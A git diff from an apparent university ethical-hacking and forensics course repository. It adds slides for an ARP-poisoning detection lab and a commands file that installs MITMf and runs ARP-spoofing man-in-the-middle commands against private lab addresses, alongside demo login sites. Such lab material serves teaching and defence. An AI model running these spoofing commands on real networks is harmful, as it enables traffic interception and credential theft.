diff --git a/EthicalHacking/Labs/MITMAttack/ARP_Poisoning_detection/Detecting_ARP_Poisoning_xarp_lab.pptx b/EthicalHacking/Labs/MITMAttack/ARP_Poisoning_detection/Detecting_ARP_Poisoning_xarp_lab.pptx
new file mode 100644
index 0000000..c800df3
Binary files /dev/null and b/EthicalHacking/Labs/MITMAttack/ARP_Poisoning_detection/Detecting_ARP_Poisoning_xarp_lab.pptx differ
diff --git a/EthicalHacking/Labs/MITMAttack/ARP_Poisoning_detection/commands.TXT b/EthicalHacking/Labs/MITMAttack/ARP_Poisoning_detection/commands.TXT
new file mode 100644
index 0000000..5ce4b59
--- /dev/null
+++ b/EthicalHacking/Labs/MITMAttack/ARP_Poisoning_detection/commands.TXT
@@ -0,0 +1,14 @@
+arp -a //router's ip
+
+//install mitmf
+apt-get update
+apt-get install mitmf -y
+
+//attack
+mitmf --arp --spoof --gateway 10.0.2.1  --targets 10.0.2.15 -i eth0 
+mitmf --arp --spoof --gateway 10.0.2.1  --targets 10.0.2.15 -i eth0 --screen
+//-hsts
+
+//Website
+http://www.stealmylogin.com/demo.html
+http://w3schools.invisionzone.com/
\ No newline at end of file
diff --git a/FSCS630_Cryptography/labs/Digital_Signature/Digital_Signature_RSA.pptx b/FSCS630_Cryptography/labs/Digital_Signature/Digital_Signature_RSA.pptx
index 3cd3030..58e4a68 100644
Binary files a/FSCS630_Cryptography/labs/Digital_Signature/Digital_Signature_RSA.pptx and b/FSCS630_Cryptography/labs/Digital_Signature/Digital_Signature_RSA.pptx differ
diff --git a/FSCS727_Forensics/Labs/Email_Investigation/Email_forensics.pptx b/FSCS727_Forensics/Labs/Email_Investigation/Email_forensics.pptx
index 9208248..a224685 100644
Binary files a/FSCS727_Forensics/Labs/Email_Investigation/Email_forensics.pptx and b/FSCS727_Forensics/Labs/Email_Investigation/Email_forensics.pptx differ
diff --git a/FSCS727_Forensics/Labs/Network_Forensics/APR_Poisoning_detection.TXT b/FSCS727_Forensics/Labs/Network_Forensics/APR_Poisoning_detection.TXT
new file mode 100644
index 0000000..e69de29